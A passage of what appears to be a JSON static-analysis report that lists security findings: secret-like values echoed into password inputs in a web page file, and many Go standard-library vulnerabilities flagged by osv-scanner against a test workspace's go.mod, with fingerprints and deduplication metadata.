["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/agents.tsx|4321|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Agents.tsx"}, "region": {"startLine": 4321}}}]}, {"ruleId": "JRN009", "level": "error", "message": {"text": "Secret-like setting is echoed into a password input value"}, "properties": {"repobilityId": 113602, "scanner": "repobility-journey-contract", "fingerprint": "c0f8939446e941f41717af1b026bedbf3b43fca167d4127105679439b40ded2d", "category": "auth", "severity": "high", "confidence": 0.83, "triageState": "open", "verdict": "likely", "isResolved": false, "reason": "A password or secret-named input is populated from a secret-like variable instead of a masked placeholder.", "evidence": {"rule_id": "JRN009", "scanner": "repobility-journey-contract", "references": ["https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html"], "correlation_key": "code|auth|web/src/pages/agents.tsx|2162|jrn009"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Agents.tsx"}, "region": {"startLine": 2162}}}]}, {"ruleId": "GO-2026-5039", "level": "error", "message": {"text": "stdlib: GO-2026-5039"}, "properties": {"repobilityId": 113600, "scanner": "osv-scanner", "fingerprint": "0c775c073bf3902f59e0df84ff1425458655420edeebbdbb94cfe8362fcc6d64", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42507", "CVE-2026-42507"], "package": "stdlib", "rule_id": "GO-2026-5039", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42507|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-5039"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0c775c073bf3902f59e0df84ff1425458655420edeebbdbb94cfe8362fcc6d64", "1557b43ac615d11600e0694327c9f7202635b7e5dea131381d976d41d00c5ade", "7c81c546a18817c7334e28a171afe389d00d7a4c7af327940f7567bc4dbde6ae", "c52bc8dae1de189fa08f779a50acdb38a47a2b3cf431aa5ebefbfe87790596f5", "c6d61c0736ce1fe86c850e428c5b637ac4b1f09ca6cc68940dec6c5b91f01e47", "cce1cc052ee4aedd360fabdc55a192226ad7c08f1d745e93787365a4d4edd04b", "cf00148f33deacd0bb9b3c04817034d24f88db93f39ce091727aa97d2113279c"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5038", "level": "error", "message": {"text": "stdlib: GO-2026-5038"}, "properties": {"repobilityId": 113599, "scanner": "osv-scanner", "fingerprint": "5e3e4a69f81cf48694157d5bb572162bd8ffb5df64827771c97edc87ee5a4f1d", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42504", "CVE-2026-42504"], "package": "stdlib", "rule_id": "GO-2026-5038", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42504|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-5038"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["239b602c1aeacfce60348754686fa3b74d6d654148075e15a261682fb434ac12", "59d512e4bf78b0e8373ea2ff7a55893257161b132d175cd2d02e4d76ea6d2074", "5e3e4a69f81cf48694157d5bb572162bd8ffb5df64827771c97edc87ee5a4f1d", "6370c7ab5d88038dc9262ab036c19edf52b73f32907e3c677f95cc3cf625f317", "a0bf45b4932f616df32e5b08fe02fa56333f73638ec4aeccff0c8286f94f570d", "e68e9cda176ecc743024b530c9e9639aeb42cb0e91bcfb052cc193fa5798cb20", "e95a543f18f97fab10a4f40444c195f9c6424089674f4dff80d373a812aa1b6f"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-5037", "level": "error", "message": {"text": "stdlib: GO-2026-5037"}, "properties": {"repobilityId": 113598, "scanner": "osv-scanner", "fingerprint": "5105997c7c4e6780ff31c80a862e389bf647a03f7c6f9669175bf77fe4df56b8", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27145", "CVE-2026-27145"], "package": "stdlib", "rule_id": "GO-2026-5037", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27145|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-5037"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["12935720eb85fc758e2769766b2a8858dbed42a81d2754abcc1a5aef61281bc7", "3dd7e4bbcef7ffa0467d256e30b2e28f374d96b4f9fe15aa6b5ddecc23c39b28", "5105997c7c4e6780ff31c80a862e389bf647a03f7c6f9669175bf77fe4df56b8", "84b11e6e402c39139a2ee55d9a1527225bcc7ac0b4344a5cfbb6089b49e2e833", "8a1846ff54702fc2399a8b2f50b3b213e9bc0ac3f4a7c8ef3677516a9f445ffc", "d05a61aad9cb644a8a026455293418d30bb9b584a59b13e135e2b01283e150a2", "f3852e97fb28da81779adf502bdd363fd0a2a2c87d300b824da5dfa9478b0210"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4986", "level": "error", "message": {"text": "stdlib: GO-2026-4986"}, "properties": {"repobilityId": 113597, "scanner": "osv-scanner", "fingerprint": "e6e4515af63fd219c2cb65e4cfea174021aaede669134af849de6fd4eb7bca7f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39820", "CVE-2026-39820"], "package": "stdlib", "rule_id": "GO-2026-4986", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39820|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4986"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["06f3952450d6b3de6a4b8383d4efcaaeff40890c13d71f5f6a8742a688fb2363", "4ce143f6ad3e3862607d60f740c8e525502391bbb2be1767eb0c185516dda0ac", "5401f5478e0e1ab6b96df3e575a2f57cecb3a1569b666be26305348855452f50", "6565ad85155af3cdff3276e16f4690a6a67f53a58bd355d529eb88278b7b66f6", "8e55185c74c54658953989415a3c936bc31e9ea409fffaed5951e3a7d0bd1147", "ac0b953979884c80cb09b220cbfcbf24a7047a281116c77a1291f8108b6f2e17", "e6e4515af63fd219c2cb65e4cfea174021aaede669134af849de6fd4eb7bca7f"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4982", "level": "error", "message": {"text": "stdlib: GO-2026-4982"}, "properties": {"repobilityId": 113596, "scanner": "osv-scanner", "fingerprint": "2b06e67a900bf312e19778f93bdbbd8eb60c6fd5b2bcf5f392778278de88ebbc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39823", "CVE-2026-39823"], "package": "stdlib", "rule_id": "GO-2026-4982", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39823|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4982"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0155ab72f727261637fe9ab3bb77d0e51ce406a5aaa473449779f8275bf7ed45", "2b06e67a900bf312e19778f93bdbbd8eb60c6fd5b2bcf5f392778278de88ebbc", "45860b506e43d7104f1cc1e389365a8fcaf1484bf8b7bb47e79301aeb5e96696", "57b9df1c538c9f1afbdadf632a8deb5c4843939bedc2fdb3145ef3c44255c150", "b53b7863b595ca54f69f43f24d7c684905850a6c3d21e528ec84484c24169e2c", "c57a192d5a5f98918c382f9afd4cec2ca809b7f2211cc3fe3367cb4f679bb3cb", "da2101afd1e710d7258d05e6249cdab80299066154c19c8d8254938a629f35a1"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4981", "level": "error", "message": {"text": "stdlib: GO-2026-4981"}, "properties": {"repobilityId": 113595, "scanner": "osv-scanner", "fingerprint": "0f97522fb569b046af667d867143737029ccf2d4be11884ae0919e044507f4bf", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-33811", "CVE-2026-33811"], "package": "stdlib", "rule_id": "GO-2026-4981", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-33811|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4981"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0f97522fb569b046af667d867143737029ccf2d4be11884ae0919e044507f4bf", "126bc06c6ed190e7f1e5b832f519bb76ffe9abc8f5b58ddf172cb85acf3f0928", "7b3cb73eb6ec07b35a5c707c479a9521a8e50bc00210205f0bb1ce4cf1a129da", "9dc167878e7d1d35534cb307a6f257eab10a5943403474336f0ae9183776e1ec", "ae691b290cadbeef3b00f5c6ddeb7a1a84b783cf97012da11f9a18b925dd8d3c", "bf922a9681a968e6c58eb5ff7b277aa12fe5cb2414195dec7e6372e52715f468", "e92abaa4c96015bcf9f2655556242fe230982453e0b2bac101f452e5f51ff0e0"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4980", "level": "error", "message": {"text": "stdlib: GO-2026-4980"}, "properties": {"repobilityId": 113594, "scanner": "osv-scanner", "fingerprint": "f1eabff860e57d1ec52e2131798365b5e5c75f1173cc58870d980e5ef2d9b177", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39826", "CVE-2026-39826"], "package": "stdlib", "rule_id": "GO-2026-4980", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39826|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4980"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["5641f3814237c3f922d6c72150df554e23374741edb68cb75779a14e414dea6d", "5888b55bc939723fd636c75c8f96390810ee45cfc8a0778472b4d371cb0c8a7f", "608445e7522508f6dff974798df2fa90edbde6c8f0ff2a015d685aff10f79eb0", "824a0696205e46ae3b9fc9aea1f4446e7393cae15014605295434d14f0e01be9", "bc770a3a762c261893091cb25b05c58fac1065e6f39ee1b3614a180f2fd0df66", "dc42c889f949b394d5c01bf81ab7bd2d30faf31d54f58fe4dc3b6114edc6e033", "f1eabff860e57d1ec52e2131798365b5e5c75f1173cc58870d980e5ef2d9b177"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4977", "level": "error", "message": {"text": "stdlib: GO-2026-4977"}, "properties": {"repobilityId": 113593, "scanner": "osv-scanner", "fingerprint": "98316fa739ffb7aa3617f6b02c8ef54194797236a0ab2d098f348476e85753bc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-42499", "CVE-2026-42499"], "package": "stdlib", "rule_id": "GO-2026-4977", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-42499|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4977"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["166e28a6c0560fd335ab094c4895ec82ad490bcd4dfbad612a3ef0d590a15264", "2062ff53b2216aea3ff01c53823a0756b391c13c290f249bea428993c6a2e39f", "42c466f4870a9187cf904fce78dd7d7b4d6c64d6910f296a5b517c86999d3901", "75caa5f672767bfe4738ba4bf81d503a3da5541960283a3571d77e1ddb69832d", "98316fa739ffb7aa3617f6b02c8ef54194797236a0ab2d098f348476e85753bc", "cc6433e5730b82a5bf26b9a4f33386a4965c80c1a1ded432a5664a1e696fb20d", "d8050df7801928a0e114dcbc442f6b842d5f13b3795735b19ee7c7bbfba01de3"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4976", "level": "error", "message": {"text": "stdlib: GO-2026-4976"}, "properties": {"repobilityId": 113592, "scanner": "osv-scanner", "fingerprint": "e9bb7e23c538c3540d1f6239e9069b0157e96b794d58c2c78884efc18a0295b5", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39825", "CVE-2026-39825"], "package": "stdlib", "rule_id": "GO-2026-4976", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39825|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4976"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["1e553ead915bc3211fb3e9dc5b158ab0d1d55ac7bd20390f48e3861a845a9f9b", "2826f0da754fe56b30f0311269731eb6ff8ab66644890b71273eb1074033c66c", "46112fe949756cf27c808d582d833602b3f608733679f5feb1d62014d730c183", "82b424a6e5c70a5d1def0b49b93b4b52035964db4459fd1ace365ab3ae1b1d3e", "e166fd163f76c90792d40403f5ecd06ab5bfbaea278ce95ee5df52c591770cd7", "e9bb7e23c538c3540d1f6239e9069b0157e96b794d58c2c78884efc18a0295b5", "fbd8118ce80081c5a188cc73c1b95a8b77c9121eaa3d1cffcc01cb4b74e08827"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4971", "level": "error", "message": {"text": "stdlib: GO-2026-4971"}, "properties": {"repobilityId": 113591, "scanner": "osv-scanner", "fingerprint": "74a505437f211c1a192399b5be116339401e9586d5105a80fcd55b728354e826", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-39836", "CVE-2026-39836"], "package": "stdlib", "rule_id": "GO-2026-4971", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-39836|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4971"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["2e317efcbaf7ed067eb7ae7acaf3a3ae8d8848acb684a1c46b1193f6122812d8", "6e269abfc6d16ddf87afc4b7c9204621e893754815c58f5983813eecc921f0e0", "74a505437f211c1a192399b5be116339401e9586d5105a80fcd55b728354e826", "81cc5d3bd88ae9a5bac757b84b40732a057bfe1333064a39106fed913c10bf83", "c25bdad51407a7a2020a5d54c65a3a146cc0ff22e1d45759d9f5b85b5f436f57", "da2b8f3ae3d08401a10b771cff5b757163ceb6cd78739c3a9d5afe23620d6a0e", "e9fbc9ffa36d7d6964b5a927dba5df6af03f2075e09321f58a9bb124ef5ecae9"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4947", "level": "error", "message": {"text": "stdlib: GO-2026-4947"}, "properties": {"repobilityId": 113590, "scanner": "osv-scanner", "fingerprint": "08737a5386edcfa043ecd4d539eac9f416e8a8b70c8110c183cedb2f8f20aefc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32280", "CVE-2026-32280"], "package": "stdlib", "rule_id": "GO-2026-4947", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32280|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4947"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["08737a5386edcfa043ecd4d539eac9f416e8a8b70c8110c183cedb2f8f20aefc", "49de12f1e5b81e247eeb48c52cbe16246a39f1a1f5342dcaa16457088deabe3a", "8298dd65f6c434cd3e4bc1a623a506ecf77dceb684bc6d2a6f285ead02d22ba1", "b3da5fe23d3eef1591f7714ac9c882a78a18b16990175c7e75fb70d2ab0de21d", "bec8189d019ea6eb2d5a53bd1b3ab084e0650c3405023ed28bcc130aff4d935d", "bfea3d152c60c332e2eb52f274870dbed796777c0054f435fa8a0322db55fb93", "d2703ec78bf3b2eb1d2a8250399b57fc7ae7246880788974e6aca9a0058f5161"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4946", "level": "error", "message": {"text": "stdlib: GO-2026-4946"}, "properties": {"repobilityId": 113589, "scanner": "osv-scanner", "fingerprint": "b467e785bc88b3e814117cc2885332045d7ef90876f582aa2f3972433a182c80", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32281", "CVE-2026-32281"], "package": "stdlib", "rule_id": "GO-2026-4946", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32281|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4946"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["467acf81fa7ce2b82391f340caaec24387c2c58d8d502b4dfe60fffec50c59e0", "6176cfa5fd5d1b0c364e7b05d7573a7139fbb4c09f997f3a26837ae518324bd0", "795dfb4044387bdd00db7fe3701e4d865cda925cc618acd2404007939b5ffaf9", "7bf1e8c472aae09857ccd8f6a725d95d54b7610be29adbfa53ff86ca46ffb90b", "a7b9887379eaab624a456403cd06342c894291cc29ec07985ead949d3b607246", "b467e785bc88b3e814117cc2885332045d7ef90876f582aa2f3972433a182c80", "fc1c94e74aec6dfabf0cb32284db4a8d1d737a918e8616eb162c81b08570723e"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4918", "level": "error", "message": {"text": "stdlib: GO-2026-4918"}, "properties": {"repobilityId": 113588, "scanner": "osv-scanner", "fingerprint": "853523b5ffcbc6d73eae07c88cd8d790188c5d7cbbf04cc8b570f4b870e9a7b9", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-33814", "CVE-2026-33814"], "package": "stdlib", "rule_id": "GO-2026-4918", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-33814|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4918"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["23cc5d3976d17564a95ee79127119d31adb7ae30b3d97f9729d22dab26e238d8", "6ad46d3f5fec764b8415670f870f5d8f0078c4af57b03f7963860b5862b90b9a", "6cf10ddac5b2dba0b48571ac577f246f73b0ddbe1389d189c1fd9dd455efed4d", "853523b5ffcbc6d73eae07c88cd8d790188c5d7cbbf04cc8b570f4b870e9a7b9", "8d6c070fa71dc0fca2e7e323b32c9b7ddeb7eda1211d37bda2a0b681b68176aa", "97d6b1eb26b4f967d58f69b7f9236b7823db654ff8af7b7b48ea575c82b68837", "e1028fd45073c4a5ec1edb62b3fbb6798161a3898a2210447e1ad6f3ff81d5ae"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4870", "level": "error", "message": {"text": "stdlib: GO-2026-4870"}, "properties": {"repobilityId": 113587, "scanner": "osv-scanner", "fingerprint": "682e4db6c8b40bdf49c8936614a5f98e7ae2e01f2cf44cd0ba97fc8c2f8a071f", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32283", "CVE-2026-32283"], "package": "stdlib", "rule_id": "GO-2026-4870", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32283|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4870"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["079d1d5749d87441e7010558aca21896de954517730ffebdb9f2c0f762d7c2a6", "3b26d7f8a2aa00a9992bed3f3dbb6268a13f2a8391fe2922d0695e4f6d640bd2", "404fbf2297bd6c8bdf30034afc0dc3a506002f76596b37d2c96ae35a648346da", "682e4db6c8b40bdf49c8936614a5f98e7ae2e01f2cf44cd0ba97fc8c2f8a071f", "addfc8ecd1c0662bd74d64fa021117aa15ea3f9e8ae35cc97c4e6573d2b365d9", "d0b6875447da3d8e21a38684ce8e480e7591fb79804b446b1f8cdaa9183085c7", "fca8cca3a104f9939015232738e608f3eaf3bc9f650a392f0cf442c864777b8d"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4869", "level": "error", "message": {"text": "stdlib: GO-2026-4869"}, "properties": {"repobilityId": 113586, "scanner": "osv-scanner", "fingerprint": "f8b64ea815217e53534d5445d8c4a102d34f16649f7219cb9baddb98e6a2c269", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32288", "CVE-2026-32288"], "package": "stdlib", "rule_id": "GO-2026-4869", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32288|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4869"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["11b26c98e0dfabbc9d4e1d4823f86b89ccf54590ac3bf4b6c8e2803a6d7bad54", "5494d4f766a27be74276e1df4e078459835a3b5ff4aa7a92f6a425a38b9812a2", "6fcde863038754ae6dd60e4adb2c8117ca5717c9f4219a3c163324bc7568f87c", "704236046a8d1609a99a5f6994fb07c3009cc6d6ac8231eb4ca265b66ade616d", "aef534f75077820d3de27ad7ffaa45de13bf5b284e1f071f9995fbaca2949fef", "eb47333753c5aa0a38e151702534681622db742440d1f4ac087c17095ebc73c5", "f8b64ea815217e53534d5445d8c4a102d34f16649f7219cb9baddb98e6a2c269"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4865", "level": "error", "message": {"text": "stdlib: GO-2026-4865"}, "properties": {"repobilityId": 113585, "scanner": "osv-scanner", "fingerprint": "8b938904026fbadf0ca8c2e92f2e9cd22bf8ebfe946593eba1532b5eddee0279", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32289", "CVE-2026-32289"], "package": "stdlib", "rule_id": "GO-2026-4865", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32289|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4865"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["45010aa4bfc245af962b0a56077927da2bf1e43545053fc628986bdb04a7b5a9", "545466e4baa6247374479603871f86b82110c7bc50088cca1edf5b57db909a17", "8b938904026fbadf0ca8c2e92f2e9cd22bf8ebfe946593eba1532b5eddee0279", "9cb2d35abcf5ba07a1c8d7145ab0f20ff00ec730705e1360136f04503840d652", "9f41276361797526d66dc1c387270f3fd1debd6e78c1205b4954a7d543140441", "cbace5d8246571cb686c9e528369cf1645582966d4e6afbf32da98f0487ea5f7", "ff61278651c748d946470db64370a7eabffed403dbb7c474e653d83c069d36e2"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4864", "level": "error", "message": {"text": "stdlib: GO-2026-4864"}, "properties": {"repobilityId": 113584, "scanner": "osv-scanner", "fingerprint": "8ff762a0db4b95627b4b6571af47c79f749d0f0cd9c9bda3c6cecef224419a88", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-32282", "CVE-2026-32282"], "package": "stdlib", "rule_id": "GO-2026-4864", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-32282|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4864"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["25324d8da10dcf84a6ad113ef9a5a1ee12b9ca5c55bf08391ae94d0f0d811893", "3b092a2c7d16887d3e121353688e3e208741dde7abd5717130e58a9288e030c5", "49b0ea74d01974d567d55f50f74186e79f58b700d4c38e88043cf066732b07d7", "762964eb88ebcbbb1413e3d9d121eb2d3b718b231d1e9cb49c66b644c32bfac9", "8ff762a0db4b95627b4b6571af47c79f749d0f0cd9c9bda3c6cecef224419a88", "a223118253a4e11fd67dd27a309b04e5f04e650a0564ab4b558c77fa6e90f13b", "dc0d4b863b247417fd41c3b57de75bd53e5cca72604c30bbb066d62e820d7f78"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4603", "level": "error", "message": {"text": "stdlib: GO-2026-4603"}, "properties": {"repobilityId": 113583, "scanner": "osv-scanner", "fingerprint": "ec85f94b0e1bd18ea8911913068412ba6c29adbd63f4e6c9373e69b01c390c3d", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27142", "CVE-2026-27142"], "package": "stdlib", "rule_id": "GO-2026-4603", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27142|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4603"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["0e5ee6a20009bd744b913a3ee92ce1419472fdc885b39d2774d3e05c9a28c5c3", "33383d12cd7c3f81cd55dccf63eb77cee8f3876e13f9c6507234461847664da1", "563ba06f20060deab6ea7c113e0e0fdb543c07638825c652916e5c0f8bbb621e", "676469743dfff03ba0c7850e3a83269385fc8e1bd8d59a0c2cc4a5fb8e28ad13", "ec85f94b0e1bd18ea8911913068412ba6c29adbd63f4e6c9373e69b01c390c3d", "ed036e6d50b0805f7f3b89d8443387b7d1b47c9600f6c45b7f958ae242fc9b31", "f33180dea3629b3f93de949bf0f132d1e831b32254fc629f9ab1f72c507e674c"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/broad_single_scope/workspace/go.mod"}, "region": {"startLine": 1}}}]}, {"ruleId": "GO-2026-4602", "level": "error", "message": {"text": "stdlib: GO-2026-4602"}, "properties": {"repobilityId": 113582, "scanner": "osv-scanner", "fingerprint": "52f2cc46f69917bd2141197ed67ce396badc3b6e86aec73219fe408e51d067fc", "category": "dependency", "severity": "high", "confidence": 0.88, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 6 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "", "aliases": ["BIT-golang-2026-27139", "CVE-2026-27139"], "package": "stdlib", "rule_id": "GO-2026-4602", "scanner": "osv-scanner", "correlation_key": "vuln|stdlib|CVE-2026-27139|token", "duplicate_count": 6, "duplicate_rule_ids": ["GO-2026-4602"], "duplicate_scanners": ["osv-scanner"], "duplicate_fingerprints": ["102a2636cf0e5dde59e95bef20b25150f33fda8c36e380654a7ec42ab47d4789", 